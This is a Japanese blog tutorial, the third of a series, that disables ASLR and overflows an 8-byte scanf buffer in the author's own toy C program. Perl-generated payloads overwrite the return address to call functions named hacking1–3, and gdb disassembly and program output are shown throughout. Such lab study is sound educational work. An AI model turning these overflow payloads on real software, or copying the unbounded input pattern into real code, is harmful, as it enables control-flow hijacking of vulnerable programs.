バッファオーバーフロー脆弱性について ③リターンアドレスを任意の関数の先頭に書き換える

前回でやったこと

taichisouma.hatenablog.com

今回はバッファオーバーフローを用いてリターンアドレスを任意の関数の先頭に書き換えることをやっていきたいと思う。

実行環境

実行環境は下記の通り。

$ uname -a
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
$ gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

ASLRを無効化する

Address Space Layout Randomization (ASLR)はスタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部をランダム化することで攻撃者がアドレスを推測するのを困難にするセキュリティ機構である。
今回の実験ではASLRが有効状態だとうまく実験が行えないので無効化する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

使用するプログラム

下記に今回使用するプログラムを示す。

#include <stdio.h>

void hacking1(void){
    printf("Hacking!\n\n");
}

void hacking2(void){
    printf("Hacking! Hacking!\n\n");
}

void hacking3(void){
    printf("Hacking! Hacking! Hacking!\n\n");
}

int main(int argc, char *argv[]){
    int  var1 = 1;
    char var2[8];
  
    printf("var1's address                    : %p\n",   &var1);
    printf("var2's address                    : %p\n",   var2);
    printf("var2's size                       : %d\n\n", sizeof(var2));
    
    printf("saved ecx's address               : %p\n",   &var1 + 1);
    printf("saved ebx's address               : %p\n",   &var1 + 2);
    printf("saved ebp's address               : %p\n\n", &var1 + 3);
    
    printf("var1's values                     : %d\n\n", var1);
    printf("saved ecx's values - 4            : %p\n",   *(&var1 + 1) - 4);
    printf("saved ecx's values                : %p\n",   *(&var1 + 1));
    printf("saved ebx's values                : %p\n",   *(&var1 + 2));
    printf("saved ebp's values                : %p\n",   *(&var1 + 3));
    printf("refer to saved ecx's values - 4   : %p\n\n", *((int *)(*(&var1 + 1) - 4)));
    
    printf("input for var2                 >>> ");
    scanf("%s", var2);
    
    printf("var1's values                     : %d\n\n", var1);
    printf("saved ecx's values - 4            : %p\n",   *(&var1 + 1) - 4);
    printf("saved ecx's values                : %p\n",   *(&var1 + 1));
    printf("saved ebx's values                : %p\n",   *(&var1 + 2));
    printf("saved ebp's values                : %p\n",   *(&var1 + 3));
    printf("refer to saved ecx's values - 4   : %p\n\n", *((int *)(*(&var1 + 1) - 4)));
    printf("\n\n\n\n\n");

    return 0;
}

関数のエピローグを見てみる

gdbデバッガ用いて逆アセンブルして関数のエピローグを見てみる。

$ gdb -q ./local_variables1-2
Reading symbols from ./local_variables1-2...done.
(gdb) list
10  
11  void hacking2(void){
12      printf("Hacking! Hacking!\n\n");
13  }
14  
15  
16  
17  void hacking3(void){
18      printf("Hacking! Hacking! Hacking!\n\n");
19  }
(gdb) 
20  
21  
22  
23  int main(int argc, char *argv[]){
24      int  var1 = 1;
25      char var2[8];
26    
27      printf("var1's address                    : %p\n",   &var1);
28      printf("var2's address                    : %p\n",   var2);
29      printf("var2's size                       : %d\n\n", sizeof(var2));
(gdb) break 26
Breakpoint 1 at 0x6c5: file local_variables1-2.c, line 26.
(gdb) r
Starting program: /home/study/BufferOverflow/LocalVariables/local_variables1-2 

Breakpoint 1, main (argc=1, argv=0xffffd314) at local_variables1-2.c:27
27      printf("var1's address                    : %p\n",   &var1);
(gdb) disas main
Dump of assembler code for function main:
   0x565556a1 <+0>:   lea    ecx,[esp+0x4]
   0x565556a5 <+4>:   and    esp,0xfffffff0
   0x565556a8 <+7>:   push   DWORD PTR [ecx-0x4]
   0x565556ab <+10>:  push   ebp
   0x565556ac <+11>:  mov    ebp,esp
   0x565556ae <+13>:  push   ebx
   0x565556af <+14>:  push   ecx
   0x565556b0 <+15>:  sub    esp,0x10
   0x565556b3 <+18>:  call   0x565554f0 <__x86.get_pc_thunk.bx>
   0x565556b8 <+23>:  add    ebx,0x1948
   0x565556be <+29>:  mov    DWORD PTR [ebp-0xc],0x1
=> 0x565556c5 <+36>:   sub    esp,0x8
   0x565556c8 <+39>:  lea    eax,[ebp-0xc]
   0x565556cb <+42>:  push   eax
   0x565556cc <+43>:  lea    eax,[ebx-0x1654]
   0x565556d2 <+49>:  push   eax
   0x565556d3 <+50>:  call   0x56555460 <printf@plt>
   0x565556d8 <+55>:  add    esp,0x10
   0x565556db <+58>:  sub    esp,0x8
   0x565556de <+61>:  lea    eax,[ebp-0x14]
   0x565556e1 <+64>:  push   eax
   0x565556e2 <+65>:  lea    eax,[ebx-0x162c]
   0x565556e8 <+71>:  push   eax
   0x565556e9 <+72>:  call   0x56555460 <printf@plt>
   0x565556ee <+77>:  add    esp,0x10
   0x565556f1 <+80>:  sub    esp,0x8
   0x565556f4 <+83>:  push   0x8
   0x565556f6 <+85>:  lea    eax,[ebx-0x1604]
   0x565556fc <+91>:  push   eax
   0x565556fd <+92>:  call   0x56555460 <printf@plt>
   0x56555702 <+97>:  add    esp,0x10
   0x56555705 <+100>: lea    eax,[ebp-0xc]
   0x56555708 <+103>: add    eax,0x4
   0x5655570b <+106>: sub    esp,0x8
   0x5655570e <+109>: push   eax
   0x5655570f <+110>: lea    eax,[ebx-0x15d8]
   0x56555715 <+116>: push   eax
   0x56555716 <+117>: call   0x56555460 <printf@plt>
   0x5655571b <+122>: add    esp,0x10
   0x5655571e <+125>: lea    eax,[ebp-0xc]
   0x56555721 <+128>: add    eax,0x8
   0x56555724 <+131>: sub    esp,0x8
---Type <return> to continue, or q <return> to quit---
   0x56555727 <+134>: push   eax
   0x56555728 <+135>: lea    eax,[ebx-0x15b0]
   0x5655572e <+141>: push   eax
   0x5655572f <+142>: call   0x56555460 <printf@plt>
   0x56555734 <+147>: add    esp,0x10
   0x56555737 <+150>: lea    eax,[ebp-0xc]
   0x5655573a <+153>: add    eax,0xc
   0x5655573d <+156>: sub    esp,0x8
   0x56555740 <+159>: push   eax
   0x56555741 <+160>: lea    eax,[ebx-0x1588]
   0x56555747 <+166>: push   eax
   0x56555748 <+167>: call   0x56555460 <printf@plt>
   0x5655574d <+172>: add    esp,0x10
   0x56555750 <+175>: mov    eax,DWORD PTR [ebp-0xc]
   0x56555753 <+178>: sub    esp,0x8
   0x56555756 <+181>: push   eax
   0x56555757 <+182>: lea    eax,[ebx-0x155c]
   0x5655575d <+188>: push   eax
   0x5655575e <+189>: call   0x56555460 <printf@plt>
   0x56555763 <+194>: add    esp,0x10
   0x56555766 <+197>: lea    eax,[ebp-0xc]
   0x56555769 <+200>: add    eax,0x4
   0x5655576c <+203>: mov    eax,DWORD PTR [eax]
   0x5655576e <+205>: sub    eax,0x4
   0x56555771 <+208>: sub    esp,0x8
   0x56555774 <+211>: push   eax
   0x56555775 <+212>: lea    eax,[ebx-0x1530]
   0x5655577b <+218>: push   eax
   0x5655577c <+219>: call   0x56555460 <printf@plt>
   0x56555781 <+224>: add    esp,0x10
   0x56555784 <+227>: lea    eax,[ebp-0xc]
   0x56555787 <+230>: add    eax,0x4
   0x5655578a <+233>: mov    eax,DWORD PTR [eax]
   0x5655578c <+235>: sub    esp,0x8
   0x5655578f <+238>: push   eax
   0x56555790 <+239>: lea    eax,[ebx-0x1508]
   0x56555796 <+245>: push   eax
   0x56555797 <+246>: call   0x56555460 <printf@plt>
   0x5655579c <+251>: add    esp,0x10
   0x5655579f <+254>: lea    eax,[ebp-0xc]
   0x565557a2 <+257>: add    eax,0x8
   0x565557a5 <+260>: mov    eax,DWORD PTR [eax]
   0x565557a7 <+262>: sub    esp,0x8
---Type <return> to continue, or q <return> to quit---
   0x565557aa <+265>: push   eax
   0x565557ab <+266>: lea    eax,[ebx-0x14e0]
   0x565557b1 <+272>: push   eax
   0x565557b2 <+273>: call   0x56555460 <printf@plt>
   0x565557b7 <+278>: add    esp,0x10
   0x565557ba <+281>: lea    eax,[ebp-0xc]
   0x565557bd <+284>: add    eax,0xc
   0x565557c0 <+287>: mov    eax,DWORD PTR [eax]
   0x565557c2 <+289>: sub    esp,0x8
   0x565557c5 <+292>: push   eax
   0x565557c6 <+293>: lea    eax,[ebx-0x14b8]
   0x565557cc <+299>: push   eax
   0x565557cd <+300>: call   0x56555460 <printf@plt>
   0x565557d2 <+305>: add    esp,0x10
   0x565557d5 <+308>: lea    eax,[ebp-0xc]
   0x565557d8 <+311>: add    eax,0x4
   0x565557db <+314>: mov    eax,DWORD PTR [eax]
   0x565557dd <+316>: sub    eax,0x4
   0x565557e0 <+319>: mov    eax,DWORD PTR [eax]
   0x565557e2 <+321>: sub    esp,0x8
   0x565557e5 <+324>: push   eax
   0x565557e6 <+325>: lea    eax,[ebx-0x1490]
   0x565557ec <+331>: push   eax
   0x565557ed <+332>: call   0x56555460 <printf@plt>
   0x565557f2 <+337>: add    esp,0x10
   0x565557f5 <+340>: sub    esp,0xc
   0x565557f8 <+343>: lea    eax,[ebx-0x1464]
   0x565557fe <+349>: push   eax
   0x565557ff <+350>: call   0x56555460 <printf@plt>
   0x56555804 <+355>: add    esp,0x10
   0x56555807 <+358>: sub    esp,0x8
   0x5655580a <+361>: lea    eax,[ebp-0x14]
   0x5655580d <+364>: push   eax
   0x5655580e <+365>: lea    eax,[ebx-0x1440]
   0x56555814 <+371>: push   eax
   0x56555815 <+372>: call   0x56555490 <__isoc99_scanf@plt>
   0x5655581a <+377>: add    esp,0x10
   0x5655581d <+380>: mov    eax,DWORD PTR [ebp-0xc]
   0x56555820 <+383>: sub    esp,0x8
   0x56555823 <+386>: push   eax
   0x56555824 <+387>: lea    eax,[ebx-0x155c]
   0x5655582a <+393>: push   eax
   0x5655582b <+394>: call   0x56555460 <printf@plt>
---Type <return> to continue, or q <return> to quit---
   0x56555830 <+399>: add    esp,0x10
   0x56555833 <+402>: lea    eax,[ebp-0xc]
   0x56555836 <+405>: add    eax,0x4
   0x56555839 <+408>: mov    eax,DWORD PTR [eax]
   0x5655583b <+410>: sub    eax,0x4
   0x5655583e <+413>: sub    esp,0x8
   0x56555841 <+416>: push   eax
   0x56555842 <+417>: lea    eax,[ebx-0x1530]
   0x56555848 <+423>: push   eax
   0x56555849 <+424>: call   0x56555460 <printf@plt>
   0x5655584e <+429>: add    esp,0x10
   0x56555851 <+432>: lea    eax,[ebp-0xc]
   0x56555854 <+435>: add    eax,0x4
   0x56555857 <+438>: mov    eax,DWORD PTR [eax]
   0x56555859 <+440>: sub    esp,0x8
   0x5655585c <+443>: push   eax
   0x5655585d <+444>: lea    eax,[ebx-0x1508]
   0x56555863 <+450>: push   eax
   0x56555864 <+451>: call   0x56555460 <printf@plt>
   0x56555869 <+456>: add    esp,0x10
   0x5655586c <+459>: lea    eax,[ebp-0xc]
   0x5655586f <+462>: add    eax,0x8
   0x56555872 <+465>: mov    eax,DWORD PTR [eax]
   0x56555874 <+467>: sub    esp,0x8
   0x56555877 <+470>: push   eax
   0x56555878 <+471>: lea    eax,[ebx-0x14e0]
   0x5655587e <+477>: push   eax
   0x5655587f <+478>: call   0x56555460 <printf@plt>
   0x56555884 <+483>: add    esp,0x10
   0x56555887 <+486>: lea    eax,[ebp-0xc]
   0x5655588a <+489>: add    eax,0xc
   0x5655588d <+492>: mov    eax,DWORD PTR [eax]
   0x5655588f <+494>: sub    esp,0x8
   0x56555892 <+497>: push   eax
   0x56555893 <+498>: lea    eax,[ebx-0x14b8]
   0x56555899 <+504>: push   eax
   0x5655589a <+505>: call   0x56555460 <printf@plt>
   0x5655589f <+510>: add    esp,0x10
   0x565558a2 <+513>: lea    eax,[ebp-0xc]
   0x565558a5 <+516>: add    eax,0x4
   0x565558a8 <+519>: mov    eax,DWORD PTR [eax]
   0x565558aa <+521>: sub    eax,0x4
   0x565558ad <+524>: mov    eax,DWORD PTR [eax]
---Type <return> to continue, or q <return> to quit---
   0x565558af <+526>: sub    esp,0x8
   0x565558b2 <+529>: push   eax
   0x565558b3 <+530>: lea    eax,[ebx-0x1490]
   0x565558b9 <+536>: push   eax
   0x565558ba <+537>: call   0x56555460 <printf@plt>
   0x565558bf <+542>: add    esp,0x10
   0x565558c2 <+545>: sub    esp,0xc
   0x565558c5 <+548>: lea    eax,[ebx-0x143d]
   0x565558cb <+554>: push   eax
   0x565558cc <+555>: call   0x56555470 <puts@plt>
   0x565558d1 <+560>: add    esp,0x10
   0x565558d4 <+563>: mov    eax,0x0
   0x565558d9 <+568>: lea    esp,[ebp-0x8]
   0x565558dc <+571>: pop    ecx
   0x565558dd <+572>: pop    ebx
   0x565558de <+573>: pop    ebp
   0x565558df <+574>: lea    esp,[ecx-0x4]
   0x565558e2 <+577>: ret    
End of assembler dump.

見るべきところっは"0x565558d9"から"0x565558e2"の命令。
“0x565558d9"は関数のプロローグ時にpushしたecx、ebx、ebpを取り出すためにespの値を変える命令。
"0x565558dc"は関数のプロローグ時にpushしたecxの値をecxに代入する命令。
"0x565558dd"は関数のプロローグ時にpushしたebxの値をebxに代入する命令。
"0x565558de"は関数のプロローグ時にpushしたebpの値をebpに代入する命令。
"0x565558df"はリターンアドレスが格納されているアドレスをespに代入する命令。
"0x565558e2"はespの参照先であるリターンアドレスをeipにpopし、リターンアドレスにジャンプする命令。

すなわち、リターンアドレスを任意の関数の先頭に書き換えるには"0x565558df"の命令で代入されたespの参照先、すなわち[ecx - 0x4]が指し示す値に任意の関数の先頭アドレスを書き換えることで任意の関数を実行させることができる。

リターンアドレスを任意の関数の先頭に書き換えるための準備

リターンアドレスを書き換えるために必要な"ecx(saved ecx) - 0x4"の値を見てみる。

$ ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> 

“saved ecx - 0x4"の値は"0xffffd2dc"であるので"0xffffd2dc"の参照先に実行したい任意の関数先頭のアドレスを書き込めればよいことがわかる。
今の段階で"saved ecx - 0x4"の値が指し示している参照先は"0xf7e12276"であることが見てわかる。この値がリターンアドレスである。
また、"saved ecx - 0x4"の値"0xffffd2dc"のからsaved ebx’s addressの値"0xffffd2c4"のまでの領域0x18(10進数で24)分をを何かしらの値で埋める必要がある。

次に実行したい任意の関数の先頭アドレスを調べる。
今回使用する関数は関数hacking1と関数hacking2、関数hacking3である。

$ gdb -q ./local_variables1-2
Reading symbols from ./local_variables1-2...done.
(gdb) list
10  
11  void hacking2(void){
12      printf("Hacking! Hacking!\n\n");
13  }
14  
15  
16  
17  void hacking3(void){
18      printf("Hacking! Hacking! Hacking!\n\n");
19  }
(gdb) 
20  
21  
22  
23  int main(int argc, char *argv[]){
24      int  var1 = 1;
25      char var2[8];
26    
27      printf("var1's address                    : %p\n",   &var1);
28      printf("var2's address                    : %p\n",   var2);
29      printf("var2's size                       : %d\n\n", sizeof(var2));
(gdb) 
30      
31      printf("saved ecx's address               : %p\n",   &var1 + 1);
32      printf("saved ebx's address               : %p\n",   &var1 + 2);
33      printf("saved ebp's address               : %p\n\n", &var1 + 3);
34      
35      printf("var1's values                     : %d\n\n", var1);
36      printf("saved ecx's values - 4            : %p\n",   *(&var1 + 1) - 4);
37      printf("saved ecx's values                : %p\n",   *(&var1 + 1));
38      printf("saved ebx's values                : %p\n",   *(&var1 + 2));
39      printf("saved ebp's values                : %p\n",   *(&var1 + 3));
(gdb) break 26
Breakpoint 1 at 0x6c5: file local_variables1-2.c, line 26.
(gdb) r
Starting program: /home/study/BufferOverflow/LocalVariables/local_variables1-2 

Breakpoint 1, main (argc=1, argv=0xffffd314) at local_variables1-2.c:27
27      printf("var1's address                    : %p\n",   &var1);
(gdb) disas hacking1
Dump of assembler code for function hacking1:
   0x56555620 <+0>:   push   ebp
   0x56555621 <+1>:   mov    ebp,esp
   0x56555623 <+3>:   push   ebx
   0x56555624 <+4>:   sub    esp,0x4
   0x56555627 <+7>:   call   0x565558e3 <__x86.get_pc_thunk.ax>
   0x5655562c <+12>:  add    eax,0x19d4
   0x56555631 <+17>:  sub    esp,0xc
   0x56555634 <+20>:  lea    edx,[eax-0x1690]
   0x5655563a <+26>:  push   edx
   0x5655563b <+27>:  mov    ebx,eax
   0x5655563d <+29>:  call   0x56555470 <puts@plt>
   0x56555642 <+34>:  add    esp,0x10
   0x56555645 <+37>:  nop
   0x56555646 <+38>:  mov    ebx,DWORD PTR [ebp-0x4]
   0x56555649 <+41>:  leave  
   0x5655564a <+42>:  ret    
End of assembler dump.
(gdb) disas hacking2
Dump of assembler code for function hacking2:
   0x5655564b <+0>:   push   ebp
   0x5655564c <+1>:   mov    ebp,esp
   0x5655564e <+3>:   push   ebx
   0x5655564f <+4>:   sub    esp,0x4
   0x56555652 <+7>:   call   0x565558e3 <__x86.get_pc_thunk.ax>
   0x56555657 <+12>:  add    eax,0x19a9
   0x5655565c <+17>:  sub    esp,0xc
   0x5655565f <+20>:  lea    edx,[eax-0x1686]
   0x56555665 <+26>:  push   edx
   0x56555666 <+27>:  mov    ebx,eax
   0x56555668 <+29>:  call   0x56555470 <puts@plt>
   0x5655566d <+34>:  add    esp,0x10
   0x56555670 <+37>:  nop
   0x56555671 <+38>:  mov    ebx,DWORD PTR [ebp-0x4]
   0x56555674 <+41>:  leave  
   0x56555675 <+42>:  ret    
End of assembler dump.
(gdb) disas hacking3
Dump of assembler code for function hacking3:
   0x56555676 <+0>:   push   ebp
   0x56555677 <+1>:   mov    ebp,esp
   0x56555679 <+3>:   push   ebx
   0x5655567a <+4>:   sub    esp,0x4
   0x5655567d <+7>:   call   0x565558e3 <__x86.get_pc_thunk.ax>
   0x56555682 <+12>:  add    eax,0x197e
   0x56555687 <+17>:  sub    esp,0xc
   0x5655568a <+20>:  lea    edx,[eax-0x1673]
   0x56555690 <+26>:  push   edx
   0x56555691 <+27>:  mov    ebx,eax
   0x56555693 <+29>:  call   0x56555470 <puts@plt>
   0x56555698 <+34>:  add    esp,0x10
   0x5655569b <+37>:  nop
   0x5655569c <+38>:  mov    ebx,DWORD PTR [ebp-0x4]
   0x5655569f <+41>:  leave  
   0x565556a0 <+42>:  ret    
End of assembler dump.

関数hacking1の先頭アドレスは"0x56555620"
関数hacking2の先頭アドレスは"0x5655564b"
関数hacking3の先頭アドレスは"0x56555676"
であることがわかった。

リターンアドレスを任意の関数の先頭に書き換える

では、初めにリターンアドレスを関数hacking1の先頭アドレスに書き換えてみる。

$ perl -e 'print "aaaaaaaa" . "\x2\x0\x0\x0" . "\xe0\xd2\xff\xff" . "\x0"x24 . "\x20\x56\x55\x56" ;' | ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 2

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12200






var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276





!?!?!?!?!? うまくいっていない。

無視して、リターンアドレスを関数hacking2の先頭アドレスに書き換えてみる。

$ perl -e 'print "aaaaaaaa" . "\x2\x0\x0\x0" . "\xe0\xd2\xff\xff" . "\x0"x24 . "\x4b\x56\x55\x56" ;' | ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 2

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0x5655564b






Hacking! Hacking!

Segmentation fault

今度はリターンアドレスを関数hacking2の先頭アドレスに書き換えることができたことが見てわかる。

続いてリターンアドレスを関数hacking3の先頭アドレスに書き換えてみる。

$ perl -e 'print "aaaaaaaa" . "\x2\x0\x0\x0" . "\xe0\xd2\xff\xff" . "\x0"x24 . "\x76\x56\x55\x56" ;' | ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 2

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0x56555676






Hacking! Hacking! Hacking!

Segmentation fault

これまたうまくリターンアドレスを関数hacking3の先頭アドレスに書き換えることができたことが見てわかる。

リターンアドレスを関数hacking1の先頭アドレスに書き換えることができなかった理由

これは後からいろいろと検証してみてわかったことですが、関数hacking1の先頭アドレス"0x56555620"の下二桁である"0x20"を入力するとき"\x20"として入力するが、この値はアスキー文字ではスペースを表すことがわかった。そのため"\x20"から後の入力値は無視されてしまいリターンアドレスを関数hacking1の先頭アドレスに書き換えることができなかった理由である。
実際、リターンアドレスを関数hacking1の先頭アドレスに書き換える実験の結果を見てみると"saved ecx - 4"が指し示す値、すなわちリターンアドレスが"0xf7e12200"をなっていることが見てわかる。
入力文字にスペース(\x20)を入力することで、それ以降の入力文字が無視され終端文字列で終端されていることがわかった。

そこでリターンアドレスを関数hacking1の先頭アドレスの次の命令のアドレスである"0x56555621"として書き換えてみる。

$ perl -e 'print "aaaaaaaa" . "\x2\x0\x0\x0" . "\xe0\xd2\xff\xff" . "\x0"x24 . "\x21\x56\x55\x56" . "a"x10 ;' | ./local_variables1-2
var1's address                    : 0xffffd2bc
var2's address                    : 0xffffd2b4
var2's size                       : 8

saved ecx's address               : 0xffffd2c0
saved ebx's address               : 0xffffd2c4
saved ebp's address               : 0xffffd2c8

var1's values                     : 1

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0xf7e12276

input for var2                 >>> var1's values                     : 2

saved ecx's values - 4            : 0xffffd2dc
saved ecx's values                : 0xffffd2e0
saved ebx's values                : (nil)
saved ebp's values                : (nil)
refer to saved ecx's values - 4   : 0x56555621






Hacking!

Segmentation fault

関数hacking1を実行させることができた。

追記

scanf関数をfgets関数にして実行させてみた結果、"\x20"をスペースとして認識せずにそのまま入力することができました。

使用したプログラム

github.com